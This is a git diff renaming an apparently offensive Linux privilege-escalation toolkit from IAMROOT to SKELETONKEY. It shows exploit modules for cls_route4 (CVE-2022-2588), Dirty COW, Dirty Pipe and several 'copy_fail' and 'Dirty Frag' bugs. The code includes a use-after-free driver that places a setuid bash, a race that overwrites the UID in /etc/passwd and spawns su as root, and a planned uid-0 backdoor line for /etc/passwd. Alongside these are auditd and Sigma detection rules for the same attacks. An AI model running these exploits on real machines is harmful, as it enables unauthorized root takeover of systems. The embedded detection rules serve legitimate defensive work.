@@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cls_route4_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("cls_route4");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
/* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
@@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */
arb_ctx.dangling_ready = true;
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
cls4_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_msg_msg(arb_ctx.queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
@@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t w = waitpid(child, &status, 0);
if (w < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* claim root we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL;
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
@@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See "
"/tmp/iamroot-cls_route4.log + dmesg.\n");
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
* the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = {
const struct skeletonkey_module cls_route4_module = {
.name = "cls_route4",
.cve = "CVE-2022-2588",
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
.detect_falco = NULL,
};
void iamroot_register_cls_route4(void)
void skeletonkey_register_cls_route4(void)
{
iamroot_register(&cls_route4_module);
skeletonkey_register(&cls_route4_module);
}
@@ -0,0 +1,12 @@
/*
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
*/
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cls_route4_module;
#endif
@@ -1,28 +0,0 @@
/*
* copy_fail_family — IAMROOT module registry hooks
*
* The family currently contains five iamroot_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in iamroot_modules.c, registered into the global registry
* by iamroot_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module copy_fail_module;
extern const struct iamroot_module copy_fail_gcm_module;
extern const struct iamroot_module dirty_frag_esp_module;
extern const struct iamroot_module dirty_frag_esp6_module;
extern const struct iamroot_module dirty_frag_rxrpc_module;
#endif
@@ -1,21 +1,21 @@
/*
* copy_fail_family IAMROOT module bridge layer
* copy_fail_family SKELETONKEY module bridge layer
*
* Wraps the existing per-CVE detect/exploit functions (from the
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
*
* The bridge functions translate between the family's df_result_t
* (defined in src/common.h) and iamroot_result_t (defined in
* (defined in src/common.h) and skeletonkey_result_t (defined in
* core/module.h). Numeric values are identical by design so the
* translation is a direct cast.
*
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
* forwarded to the family's existing global flags before each
* callback. This preserves DIRTYFAIL's existing CLI semantics
* unchanged.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "src/common.h"
@@ -28,7 +28,7 @@
#include <sys/stat.h>
static void apply_ctx(const struct iamroot_ctx *ctx)
static void apply_ctx(const struct skeletonkey_ctx *ctx)
{
dirtyfail_use_color = !ctx->no_color;
dirtyfail_active_probes = ctx->active_probe;
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)mitigate_apply();
return (skeletonkey_result_t)mitigate_apply();
}
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
struct stat st;
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
}
return (iamroot_result_t)mitigate_revert();
return (skeletonkey_result_t)mitigate_revert();
}
if (!ctx->json) {
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
"evicting /etc/passwd from page cache\n");
}
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
}
/* ----- copy_fail (CVE-2026-31431) ----- */
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_detect();
return (skeletonkey_result_t)copyfail_detect();
}
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
}
/* Shared detection rules for the copy_fail family — every member of
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static const char copy_fail_family_auditd[] =
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
"# xfrm SA setup (Dirty Frag ESP variants)\n"
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
static const char copy_fail_family_sigma[] =
"title: Copy Fail / Dirty Frag family exploitation\n"
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
"status: experimental\n"
"description: |\n"
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
const struct iamroot_module copy_fail_module = {
const struct skeletonkey_module copy_fail_module = {
.name = "copy_fail",
.cve = "CVE-2026-31431",
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {
/* ----- copy_fail_gcm (variant, no CVE) ----- */
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_detect();
return (skeletonkey_result_t)copyfail_gcm_detect();
}
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
}
const struct iamroot_module copy_fail_gcm_module = {
const struct skeletonkey_module copy_fail_gcm_module = {
.name = "copy_fail_gcm",
.cve = "VARIANT",
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_detect();
return (skeletonkey_result_t)dirtyfrag_esp_detect();
}
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp_module = {
const struct skeletonkey_module dirty_frag_esp_module = {
.name = "dirty_frag_esp",
.cve = "CVE-2026-43284",
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_detect();
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
}
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp6_module = {
const struct skeletonkey_module dirty_frag_esp6_module = {
.name = "dirty_frag_esp6",
.cve = "CVE-2026-43284",
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
}
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_rxrpc_module = {
const struct skeletonkey_module dirty_frag_rxrpc_module = {
.name = "dirty_frag_rxrpc",
.cve = "CVE-2026-43500",
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
/* ----- Family registration ----- */
void iamroot_register_copy_fail_family(void)
void skeletonkey_register_copy_fail_family(void)
{
iamroot_register(&copy_fail_module);
iamroot_register(&copy_fail_gcm_module);
iamroot_register(&dirty_frag_esp_module);
iamroot_register(&dirty_frag_esp6_module);
iamroot_register(&dirty_frag_rxrpc_module);
skeletonkey_register(&copy_fail_module);
skeletonkey_register(&copy_fail_gcm_module);
skeletonkey_register(&dirty_frag_esp_module);
skeletonkey_register(&dirty_frag_esp6_module);
skeletonkey_register(&dirty_frag_rxrpc_module);
}
@@ -0,0 +1,28 @@
/*
* copy_fail_family — SKELETONKEY module registry hooks
*
* The family currently contains five skeletonkey_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in skeletonkey_modules.c, registered into the global registry
* by skeletonkey_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module copy_fail_module;
extern const struct skeletonkey_module copy_fail_gcm_module;
extern const struct skeletonkey_module dirty_frag_esp_module;
extern const struct skeletonkey_module dirty_frag_esp6_module;
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
#endif
+1 -1
View File
@@ -13,7 +13,7 @@ the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## IAMROOT role
## SKELETONKEY role
Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
@@ -1,12 +0,0 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif
@@ -1,5 +1,5 @@
/*
* dirty_cow_cve_2016_5195 IAMROOT module
* dirty_cow_cve_2016_5195 SKELETONKEY module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,7 +41,7 @@
* - execve(su) shell with uid=0
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
}
}
/* ---- iamroot interface ---- */
/* ---- skeletonkey interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
struct passwd *pw = getpwuid(geteuid());
if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
off_t uid_off;
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Embedded detection rules ---- */
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n"
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = {
const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_cow(void)
void skeletonkey_register_dirty_cow(void)
{
iamroot_register(&dirty_cow_module);
skeletonkey_register(&dirty_cow_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
#define DIRTY_COW_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_cow_module;
#endif
+4 -4
View File
@@ -25,7 +25,7 @@ by them.
Even in 2026, many production deployments still run vulnerable
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
makes IAMROOT useful as a "historical sweep" tool on long-tail
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
systems.
## Implementation plan
@@ -34,8 +34,8 @@ systems.
`NOTICE.md` when implemented)
- `detect()`: kernel version check + `/proc/version` parse + test
for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
backdoor mode
- Detection rules: auditd on splice() calls + pipe write patterns,
filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
Pick this up after Phase 1 (module-interface refactor of the
copy_fail family) so this module can use the standard
`iamroot_module` shape from the start.
`skeletonkey_module` shape from the start.
+1 -1
View File
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## IAMROOT role
## SKELETONKEY role
This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
@@ -13,14 +13,14 @@
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
# any modification by non-root — the Dirty Pipe payload typically
# overwrites these to gain root.
-w /etc/passwd -p wa -k iamroot-dirty-pipe
-w /etc/shadow -p wa -k iamroot-dirty-pipe
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
